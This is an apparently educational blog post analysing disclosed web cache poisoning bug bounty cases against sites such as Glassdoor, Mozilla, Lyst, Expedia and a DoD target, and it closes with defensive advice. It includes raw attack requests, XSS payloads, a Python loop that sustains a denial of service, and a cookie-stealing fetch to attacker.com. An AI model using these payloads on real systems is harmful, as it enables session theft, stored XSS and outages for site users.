Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits

Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits

November 25, 2025 6 min read

Part 2 of the in-depth series analyzing cache poisoning cases involving cloud platforms, multi-domain attacks, complex chains, and framework-level vulnerabilities.




Disclaimer

This article is for educational and defensive cyber security purposes.
All case studies here are sourced from publicly disclosed bug bounty reports or ethical research.
Never test cache poisoning on systems you do not own or have permission to assess.


Introduction

In Part 1, we explored foundational cache poisoning attacks.
Now, Part 2 dives into the advanced era: multi-layer poisoning, cloud platform quirks, multi-bug combinations, and framework-level vulnerabilities.

This phase of cache poisoning evolution demonstrates:

  • How cloud storage misbehaves under unexpected headers
  • How error pages, redirects, and parser confusion become attack vectors
  • How CDNs and frameworks introducing “smart” optimizations actually increase attack surface
  • How researchers chained two or more bugs (e.g., cookie reflection → cache poisoning → stored XSS)

These real-world incidents illustrate how attackers exploit edge cases, misconfigurations, desynchronization, and inconsistent normalization, turning seemingly small bugs into high-impact outcomes.


Case Study #9 - Glassdoor’s “Triple Threat” Bug Chain

Program: Glassdoor
Reporters: @bombon & @nokline
Impact: CSRF token leak, stored XSS, JS redirection
Nature: Multiple bugs chained across multiple reports

This case is famous for its multi-step compound exploitation, demonstrating how tiny inconsistencies combine into catastrophic results.


Vulnerability #1 - gdToken CSRF Token Leak

Glassdoor leaked gdToken (a CSRF token) into cache due to unkeyed custom headers.

GET /profile HTTP/1.1  
Host: www.glassdoor.com  
X-Custom-Header: poison
HTTP

Response contained:

<input name="gdToken" value="user123_csrf_token">
HTML

This CSRF token was cached and then returned to other users, enabling cross-account attacks.


Vulnerability #2 - URL Parser Confusion → Stored XSS

URL parsing confusion between cache and origin enabled cookie reflection, header injection, and HTML/JS rendering inconsistencies.

GET /Job/../mz-survey/interview/collectQuestions_input.htm/ HTTP/1.1  
Host: glassdoor.com  
Cookie: tracking=<script>alert(1)</script>  
X-Forwarded-Host: glassdoor.com/<script>alert(1)</script>
HTTP

This single crafted request triggered:

  1. Cookie reflection
  2. Header reflection
  3. URL confusion
  4. Cache storage of the result
  5. Stored XSS across multiple endpoints

Vulnerability #3 - JavaScript Redirect Poison

Attackers redirected JavaScript files to attacker-controlled servers by poisoning redirects.

GET /test.js?cb=1 HTTP/2  
Host: design.glassdoor.com  
X-Forwarded-Host: youst.in
HTTP

This caused /test.js to permanently redirect to attacker JS through cached responses.

Diagram showing a multi-step attack chain involving cookie reflection, URL parser confusion, and cache poisoning leading to stored XSS, blue technical theme.


Extracted Techniques

  • Combine multiple weak signals for high-impact chains
  • Cookie reflection + cache poisoning → stored XSS
  • URL parser desync is extremely powerful
  • JavaScript poisoning affects many pages at once

Case Study #10 - Mozilla’s 404 Error Cache Poison

Program: Mozilla
Bounty: $1,000
Impact: Wide DoS through cached error responses

Attack Vector

GET /en-US/firefox/ HTTP/1.1  
Host: www.mozilla.org  
X-Forwarded-Port: 99999
HTTP

Response:

HTTP/1.1 404 Not Found  
Cache-Control: public, max-age=600
HTTP

Mozilla served 404 errors to all users for 10 minutes.

Why It Mattered

  • Error pages often cached
  • Required only one request
  • Could be repeated indefinitely
  • Critical availability issue

Extracted Techniques

  • Always test error responses (403, 404, 500)
  • Port manipulation works surprisingly often
  • Error poisoning is undervalued but impactful

Visualization of 404 error cache poisoning and DoS impact across users, technical security illustration, blue palette.


Case Study #11 - Shopify’s Backslash/Forward Slash Cache DoS

Program: Shopify
Report: #1695604

Vulnerable Behavior

Cache normalized backslashes (\) → forward slashes (/), but the origin did not.

GET /admin\dashboard HTTP/1.1  
Host: shop.shopify.com
HTTP

Cache key → /admin/dashboard
Origin path → /admin\dashboard → 404

This mismatch corrupted the cache for legitimate paths.

Extracted Techniques

  • Test non-standard path characters
  • Compare CDN vs origin handling
  • Encoded forms often bypass filters (%5C, %2F, %2e)

Diagram showing backslash-forward slash normalization mismatch between cache and origin servers, minimalistic security style.


Case Study #12 - Lyst’s Cache Deception Personal Data Leak

Program: Lyst
Report: #631589
Impact: Exposure of private PII data

Attack

GET /shop/trends/mens-dress-shoes/blahblah.css HTTP/1.1  
Host: www.lyst.com  
Cookie: session=victim_session_token
HTTP

Response contained private PII:

<html>
  <div>Welcome, John Doe</div>
  <div>Email: john@example.com</div>
</html>
HTML

Cache saw .css → static file → cached it → served to everyone.

Extracted Techniques

  • Cache deception beats cache poisoning for PII leaks
  • Test dynamic endpoints disguised as static extensions
  • .css, .js, .png, and .svg are high-value disguises

Graphical depiction of cache deception attack exposing private user data as cached CSS, cybersecurity theme.


Program: Expedia Group (Abritel)
Impact: Stored XSS enabling account takeover

Attack Vector

GET /annonces/...php.js HTTP/1.1  
Host: www.abritel.fr  
Cookie: hav="; fetch('https://attacker.com/?c='+document.cookie); //
HTTP

Response:

var hav=""; fetch('https://attacker.com/?c='+document.cookie); //"
JavaScript

Cached response propagated to all visitors.

Extracted Techniques

  • Cookie reflection is deadly in JS contexts
  • Sanitizing quotes (") is not enough - semicolons, angle brackets matter
  • Reflected → cached → stored XSS chain

Diagram illustrating cookie reflection leading to stored XSS via cache poisoning, JavaScript context visual.

Diagram illustrating cookie reflection leading to stored XSS via cache poisoning, JavaScript context visual.

Diagram illustrating cookie reflection leading to stored XSS via cache poisoning, JavaScript context visual.


Case Study #14 - U.S. DoD Sustained Cache Poisoning DoS

Program: U.S. Department of Defense
Report: #1183263
Impact: Persistent application DoS
Severity: High

Automated DoS Script

import requests, time

target = "https://dod-target.mil/critical-page"

while True:
    requests.get(target, headers={
        "X-Forwarded-Host": "invalid.host",
        "X-Cache-Buster": str(time.time())
    })
    time.sleep(295)
Python

This re-poisoned cache just before expiration.

Extracted Techniques

  • Timing-based sustained poisoning
  • Low bandwidth but high-effect attacks
  • Government platforms reward DoS when technically justified

Visualization of sustained DoS through repeated cache poisoning near TTL expiry, timeline-based diagram.


Case Study #15 - Acronis Cache Poison via Invalid Port Injection

Program: Acronis
Impact: Complete outage due to invalid port embedding

Attack

GET / HTTP/1.1  
Host: www.acronis.com  
X-Forwarded-Port: 0
HTTP

Origin produced:

<script src="https://www.acronis.com:0/assets/app.js"></script>
HTML

Port 0 invalid → JS failed → entire site broken.

Extracted Techniques

  • Try all invalid ports: 0, -1, 99999, hex, multi-values
  • JS asset poisoning is extremely impactful
  • Asset dependency mapping increases severity demonstration

Diagram showing port manipulation cache poisoning breaking asset loading due to invalid port injection, blue palette.


Case Study #16 - Next.js RSC & SSR/SSG Cache Confusion

Program: Multiple programs (framework-wide)
Reporter: @zhero_web_sec
Impact: Six-figure earnings from scalable bugs


Vulnerability #1 - React Server Component Poison

GET / HTTP/1.1  
Host: nextjs-app.com  
X-Middleware-Prefetch: 1
HTTP

Response:

{"type":"rsc","data":"..."}
JSON

RSC JSON cached → site served broken data to all users.


Vulnerability #2 - Accept-Encoding Cache Key Bypass

GET /products?_rsc=123 HTTP/1.1  
Host: target.com  
Accept-Encoding:
HTTP

If Accept-Encoding wasn’t part of the cache key, SSR/SSG responses got mixed, breaking pages.

Extracted Techniques

  • Framework-specific headers lead to novel attack surfaces
  • Missing Accept-Encoding is a major cache key issue
  • Template these findings to mass scan → high rewards

Flow diagram showing Next.js RSC vs SSR/SSG cache confusion through special headers and parameters, framework-level security theme.


Case Study #17 - Apache Traffic Server Fragment-Based Cache Poison

Targets: Yahoo, Apple, many enterprise platforms
Reporter: Iustin Ladunca
Impact: XSS and normalization bypass at massive scale

Attack

GET /#/../?r=javascript:alert(1) HTTP/1.1  
Host: yahoo.com
HTTP

Fragments (#) should never reach origin - but ATS forwarded them.

Origin normalized → XSS
Cache key ignored fragment → poisoning persisted

Extracted Techniques

  • Test URL fragments in many encodings (#, %23, unicode)
  • Proxy misbehavior can affect thousands of companies
  • Fragment → normalization → stored XSS chain

Technical illustration of Apache Traffic Server fragment forwarding causing XSS via normalization mismatch, blue high-detail theme.


Defensive Perspective

Preventing complex cache poisoning attacks requires aligned defenses across:

Application Layer

  • Validate input strictly
  • Disable legacy and unsafe headers
  • Never reflect cookies or user input in cached responses

CDN Layer

  • Normalize headers consistently
  • Disable method overrides
  • Block caching of redirected/error responses

Framework Layer

  • Review framework caching behavior
  • Disable experimental/pre-release features in production
  • Include differential-render headers (Accept-Encoding, User-Agent) in cache keys

Real-World Impact Summary (Part 2)

Case Study Impact Severity
Glassdoor CSRF leak + stored XSS chain Critical
Mozilla 404 Error poisoning Medium
Shopify Path normalization DoS Medium–High
Lyst Private PII exposure High
Expedia Stored XSS High
DoD Sustained DoS High
Acronis Full site breakage High
Next.js Framework-wide RSC/SSR confusion Critical
ATS Fragment-based cache poisoning Critical

Final Thoughts on Part 2

Part 2 illustrates how cache poisoning evolved from “simple header tricks” to complex, multi-layer, multi-framework exploitation chains. These vulnerabilities often involve:

  • Cloud service quirks
  • Framework-level features
  • Header-handling inconsistencies
  • Parser desynchronization
  • Cross-layer behaviors

Part 3 will highlight the highest-impact cases, including OAuth poisoning, API gateway escalation, financial system cache bugs, and supply-chain scale vulnerabilities - plus the advanced methodology framework used by elite researchers.

Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
August 28, 2025
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
Lab Writeup: PortSwigger – 0.CL Request Smuggling
September 9, 2025
Lab Writeup: PortSwigger – 0.CL Request Smuggling
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
September 23, 2025
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
October 5, 2025
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
Lab: SQL injection vulnerability allowing login bypass
October 6, 2025
Lab: SQL injection vulnerability allowing login bypass
Lab: SQL injection UNION attack - determining number of columns returned by the query
October 7, 2025
Lab: SQL injection UNION attack - determining number of columns returned by the query
Lab: SQL injection UNION attack - finding a column containing text
October 8, 2025
Lab: SQL injection UNION attack - finding a column containing text
Lab: SQL injection UNION attack - retrieving data from other tables
October 9, 2025
Lab: SQL injection UNION attack - retrieving data from other tables
Lab: SQL injection UNION attack - retrieving multiple values in a single column
October 10, 2025
Lab: SQL injection UNION attack - retrieving multiple values in a single column
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
October 11, 2025
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
Lab: SQL injection attack - listing the database contents on non-Oracle databases
October 12, 2025
Lab: SQL injection attack - listing the database contents on non-Oracle databases
Lab: Blind SQL injection with conditional responses
October 13, 2025
Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with conditional errors
October 14, 2025
Lab: Blind SQL injection with conditional errors
Lab: Visible error-based SQL injection
October 15, 2025
Lab: Visible error-based SQL injection
Lab: Blind SQL injection with time delays and information retrieval
October 16, 2025
Lab: Blind SQL injection with time delays and information retrieval
Lab: Blind SQL injection with out-of-band interaction
October 17, 2025
Lab: Blind SQL injection with out-of-band interaction
Lab: Blind SQL injection with out-of-band data exfiltration
October 18, 2025
Lab: Blind SQL injection with out-of-band data exfiltration
Lab: SQL injection with filter bypass via XML encoding
October 19, 2025
Lab: SQL injection with filter bypass via XML encoding
Lab: SQL injection attack, querying the database type and version on Oracle
October 20, 2025
Lab: SQL injection attack, querying the database type and version on Oracle
Lab: SQL injection attack, listing the database contents on Oracle
October 21, 2025
Lab: SQL injection attack, listing the database contents on Oracle
Lab: Blind SQL injection with time delays
October 22, 2025
Lab: Blind SQL injection with time delays
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
October 23, 2025
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
October 24, 2025
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
October 25, 2025
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
October 26, 2025
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
October 27, 2025
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
October 28, 2025
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
October 29, 2025
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
October 30, 2025
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
Can AI Defend Us Against Hackers? A Pentester Reality Check
October 31, 2025
Can AI Defend Us Against Hackers? A Pentester Reality Check
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
November 1, 2025
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
November 2, 2025
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
November 3, 2025
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
November 4, 2025
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
November 5, 2025
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
November 6, 2025
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
November 7, 2025
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
November 8, 2025
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
November 9, 2025
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
November 10, 2025
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
November 11, 2025
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
November 12, 2025
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
Access Control Apocalypse: When Broken Permissions Give Master Keys
November 13, 2025
Access Control Apocalypse: When Broken Permissions Give Master Keys
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
November 14, 2025
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
November 15, 2025
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
November 16, 2025
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
November 17, 2025
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
November 18, 2025
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
November 19, 2025
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
How Security Researcher Found a DOM XSS Inside NASA’s Systems
November 20, 2025
How Security Researcher Found a DOM XSS Inside NASA’s Systems
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
November 21, 2025
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
Critical Auth Bypass in Government App via Hardcoded OTP Logic
November 22, 2025
Critical Auth Bypass in Government App via Hardcoded OTP Logic
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
November 23, 2025
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
November 24, 2025
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning
November 26, 2025
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning

For any queries or professional discussions: herish.chaniyara@gmail.com